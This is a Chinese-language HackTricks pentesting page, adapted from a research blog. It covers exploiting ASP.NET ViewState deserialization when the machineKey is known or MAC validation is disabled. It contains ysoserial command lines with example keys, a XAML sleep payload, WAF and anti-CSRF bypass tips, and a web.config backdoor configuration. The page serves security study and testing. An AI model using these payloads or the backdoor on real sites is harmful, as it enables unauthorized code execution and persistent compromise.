hacktricks/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md
2023-08-03 19:12:22 +00:00

20 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

本文内容摘自 https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

介绍

ASP.NET Web应用程序使用ViewState来维护页面状态并在Web表单中持久化数据。

通常情况下,可以在可以伪造有效的ViewState的Web服务器上运行代码。这可以通过禁用MAC验证功能或者知道以下信息来实现

  • 在.NET Framework版本4.5之前,验证密钥及其算法
  • 在.NET Framework版本4.5或更高版本中,验证密钥、验证算法、解密密钥和解密算法

为了防止操纵攻击,.NET Framework可以使用LosFormatter类对已序列化的ViewState进行签名和加密。然后它使用消息认证码MAC验证机制验证签名。ObjectStateFormatter类执行签名、加密和验证任务。执行签名和/或加密机制所需的密钥可以存储在web.config(应用程序级别)或machine.config(机器级别)文件的machineKey部分中。当多个Web服务器用于服务相同的应用程序时通常会在Web Farm或集群中的负载均衡器后面使用。以下是使用.NET Framework版本2.0或更高版本的ASP.NET应用程序的配置文件中machineKey部分的格式示例:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

应该注意的是,当配置文件中没有定义machineKey部分或者validationKeydecryptionKey属性被设置为AutoGenerate时,应用程序会根据一个加密随机密钥动态生成所需的值。算法也可以自动选择。目前在最新版本的.NET Framework中默认的验证算法是HMACSHA256,默认的解密算法是AES。更多详细信息请参见[13]

禁用ViewState MAC验证的RCE

过去,可以通过将enableViewStateMac属性设置为False禁用MAC验证。微软在2014年9月发布了一个补丁[3],以在所有版本的.NET Framework中忽略此属性来强制执行MAC验证。尽管我们中的一些人可能认为“ViewState MAC不能再被禁用[4],但仍然可以通过在以下位置将AspNetEnforceViewStateMac注册表键设置为零来禁用MAC验证功能

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

或者,将以下危险设置添加到应用程序级别的web.config文件中也可以禁用MAC验证

<configuration>
…
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>

{% hint style="danger" %} 当ViewState MAC验证被禁用时,可以使用YSoSerial.Net项目生成LosFormatter负载作为ViewState以在服务器上运行任意代码。 {% endhint %}

在.NET Framework版本4.5之前,__VIEWSTATE参数可以在MAC验证功能被禁用的情况下进行加密。值得注意的是,大多数扫描器不会尝试发送未加密的ViewState参数来识别此漏洞。因此需要进行手动测试以检查当__VIEWSTATE参数被加密时是否禁用了MAC验证。可以通过在__VIEWSTATE参数中发送一个短的随机base64字符串来进行检查。以下URL显示了一个示例

https://victim.com/path/page.aspx?__VIEWSTATE=AAAA

如果目标页面响应错误MAC验证功能已被禁用否则它会抑制MAC验证错误消息。
然而,在无法看到错误消息的情况下,这个技巧不起作用。

自动化扫描器应该使用导致服务器端短暂延迟的有效负载。可以通过执行以下ASP.NET代码来实现例如创建一个10秒的延迟

System.Threading.Thread.Sleep(10000);
string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
<ObjectDataProvider.MethodParameters>
<System:Int32>10000</System:Int32>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";

启用ViewState MAC验证的RCE

在旧版本(4.5之前.NET Framework在签名序列化对象时使用**TemplateSourceDirectory属性【15】。然而,自从4.5版本开始,它使用Purpose字符串来创建哈希。这两种机制都需要从应用程序目录的根目录获取目标路径和页面名称。这些参数可以从URL中提取出来**。

使用旧框架并强制执行ViewState加密的应用程序仍然可以接受未加密的已签名ViewState。这意味着知道验证密钥及其算法就足够来利用一个网站。似乎自从4.5版本以来默认情况下ViewState被加密即使viewStateEncryptionMode属性已设置为Never。这意味着在最新的.NET Framework版本中为了创建有效载荷还需要解密密钥及其算法

ASP.NET ViewState包含一个名为ViewStateUserKey的属性【16】可用于减轻跨站请求伪造CSRF攻击的风险【4】。在ViewState签名过程中ViewStateUserKey属性的值(当它不为null时)也会被使用。虽然不知道此参数的值可能会阻止我们的攻击,但是它的值通常可以在cookie或隐藏输入参数中找到【17】展示了一个实现示例)。

ViewState YSoSerial.Net插件

在YSoSerial.Net主分支和YSoSerial.Netv2中您可以找到一个插件这个这个),用于在已知所有信息的情况下利用此技术。

对于.NET Framework >= 4.5

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

对于 .NET Framework <= 4.0(旧版):

这里不需要解密密钥和算法:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug

除了使用不同的gadget之外还可以使用__VIEWSTATEGENERATOR参数而不是提供路径

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

默认情况下它使用ActivitySurrogateSelector gadget需要在YSoSerial.Net项目中编译ExploitClass.cs类。当已知解密密钥(decryptionKey)值时ViewState负载也可以进行加密以避免WAF的检测:

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

{% hint style="info" %} **注意:**由于YSoSerial.Net中使用的工具的性质即使在服务器端成功执行了利用目标ASP.NET页面也会始终响应错误。 {% endhint %}

应用程序路径

为了创建一个有效的ViewState找到应用程序路径的根目录是很重要的除非

  • 应用程序使用的是.NET Framework 4.0或更低版本;且
  • 已知__VIEWSTATEGENERATOR参数。

以下截图显示了IIS中的路径树

如果您对IIS中的虚拟目录和应用程序术语不熟悉可以参考[20]

为了为上述URL生成一个ViewState--path--apppath参数应该如下所示:

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/

如果我们不知道“app2”是一个应用程序名称我们可以使用试错法逐个测试URL中的所有目录名称直到找到一个可以在服务器上执行代码的ViewState可能通过获取DNS请求或引起延迟

生成器

在这种情况下,可以使用--generator参数。当已经提供了--path--apppath参数时,可以使用--isdebug参数来检查插件是否也计算出相同的__VIEWSTATEGENERATOR参数。

利用旧版本

在撰写本博客文章时,尚未确定可以利用.NET Framework v1.1。

为了利用使用.NET Framework v4.0或更低版本的应用程序可以使用YSoSerial.Net v2.0分支【21】(最初作为另一项研究的一部分开发【22】。然而该项目仅支持有限数量的gadget并且还需要目标主机安装.NET Framework 3.5或更高版本。

其他工具

看起来Immunity Canvas支持在已知验证和加密密钥的情况下创建ViewState参数【29】。以下工具也在我准备发布我的工作的同时发布,这令人惊讶:

我认为这些工具目前不区分不同版本的.NET Framework并且针对旧版加密。此外它们**不使用ViewStateUserKey**参数该参数可能用于防止CSRF攻击。

附加提示

使用GET请求

也可以通过GET请求将__VIEWSTATE参数发送到URL中。唯一的限制因素是URL长度它限制了可以在此处使用的gadget类型。

在.NET Framework 4.5之前的版本中的加密

如前所述,当利用.NET Framework 4.0及以下版本在v2.0至v4.0上进行了测试)时,__VIEWSTATE参数不需要加密,即使已将ViewStateEncryptionMode属性设置为Always。ASP.NET通过在请求中查找__VIEWSTATEENCRYPTED参数不需要任何值来决定是否对ViewState进行了加密。因此可以通过从请求中删除__VIEWSTATEENCRYPTED参数来发送未加密的ViewState。

这也意味着当验证密钥及其算法被窃取时,更改解密密钥或其算法无法阻止攻击。

可以加密__VIEWSTATE参数以绕过任何WAF。

绕过反CSRF反XSRF机制

当使用无效的__VIEWSTATE参数时ASP.NET页面会产生错误。然而当代码直接使用Request.Form来接收输入时,页面仍然可以接收其输入,例如使用Request.Form["txtMyInput"]而不是txtMyInput.Text。通过从请求中删除__VIEWSTATE参数或添加具有无效值的__PREVIOUSPAGE参数可以实现CSRF攻击。由于__PREVIOUSPAGE参数默认情况下是加密和base64格式化的即使提供一个字符作为其值也应该会导致错误。

这可能会绕过通过设置Page.ViewStateUserKey参数实施的反CSRF保护机制。

使用ViewStateGenerator参数

当已知__VIEWSTATEGENERATOR参数时,可以在使用.NET Framework版本4.0或更低版本的ASP.NET应用程序中使用它来对序列化对象进行签名而无需知道应用程序路径。

通过分块绕过WAF

当将**MaxPageStateFieldLength属性设置为正值时,可以将__VIEWSTATE参数分成多个部分。其默认值为负值**,这意味着**__VIEWSTATE参数无法分成多个部分**。

当允许ViewState分块时这可能对绕过某些WAFs有用。

利用EventValidation参数

__EVENTVALIDATION参数和其他一些参数与__VIEWSTATE参数类似地进行序列化,可以类似地进行目标化。通过__EVENTVALIDATION利用反序列化问题更加受限,需要:

  • 一个POST请求
  • 一个接受输入参数的ASP.NET页面
  • 一个有效的输入参数名称。例如在服务器端有以下代码时在POST请求中使用myinput参数而不是txtMyInput.Text
<asp:TextBox runat="server" ID="myinput" />

__VIEWSTATE参数的值在利用__EVENTVALIDATION参数时可以为空,但必须存在。

.NET Framework 4.5及以上版本使用的Purpose字符串用于创建有效签名,根据使用的参数不同而不同。下表显示了.NET Framework中定义的Purpose字符串:

输入参数 Purpose字符串
“__VIEWSTATE” WebForms.HiddenFieldPageStatePersister.ClientState
“__EVENTVALIDATION” WebForms.ClientScriptManager.EventValidation
P2 in P1|P2 in “__dv” + ClientID + “__hidden” WebForms.DetailsView.KeyTable
P4 in P1|P2|P3|P4 in “__CALLBACKPARAM” WebForms.DetailsView.KeyTable
P3 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden” WebForms.GridView.SortExpression
P4 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden” WebForms.GridView.DataKeys

上表显示了所有可能被攻击的输入参数。

注意__PREVIOUSPAGE参数

当请求中存在具有无效数据的**__PREVIOUSPAGE参数时,应用程序不会__VIEWSTATE**参数进行反序列化。提供__CALLBACKID参数可以防止这种行为。

错误可靠性

如前所述我们有时使用错误来检查生成的ViewState是否有效。当使用无效的__VIEWSTATEGENERATOR参数时ASP.NET默认情况下不会显示MAC验证错误。当使用ViewStateUserKey属性时此行为会发生变化因为ASP.NET不再抑制MAC验证错误。

此外,即使使用了ViewStateUserKey属性ASP.NET Web应用程序也可以通过以下设置忽略MAC验证错误

<appSettings>
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>

将Web.config作为后门

如果攻击者能够更改应用程序根目录下的**web.config文件,他们可以轻松在服务器上运行代码。然而,对于攻击者来说,在应用程序中嵌入一个隐秘的后门可能是一个不错的选择。这可以通过禁用MAC验证并将viewStateEncryptionMode属性设置为Always来实现。这意味着所有未将ViewStateEncryptionMode属性设置为AutoNever的ASP.NET页面都会始终使用加密的ViewState参数。然而由于ViewState不使用MAC验证功能它们现在容易受到通过反序列化不受信任的数据进行远程代码执行的攻击**。以下是一个示例:

<configuration>
…
<system.web>
…
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="false" />
</appSettings>
</configuration>

另一个独立网站的选择是设置machineKey部分的任意密钥和算法来阻止其他攻击者!

需要注意的是,将EnableViewState属性设置为False并不能阻止此攻击因为ASP.NET仍然会解析ViewState。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥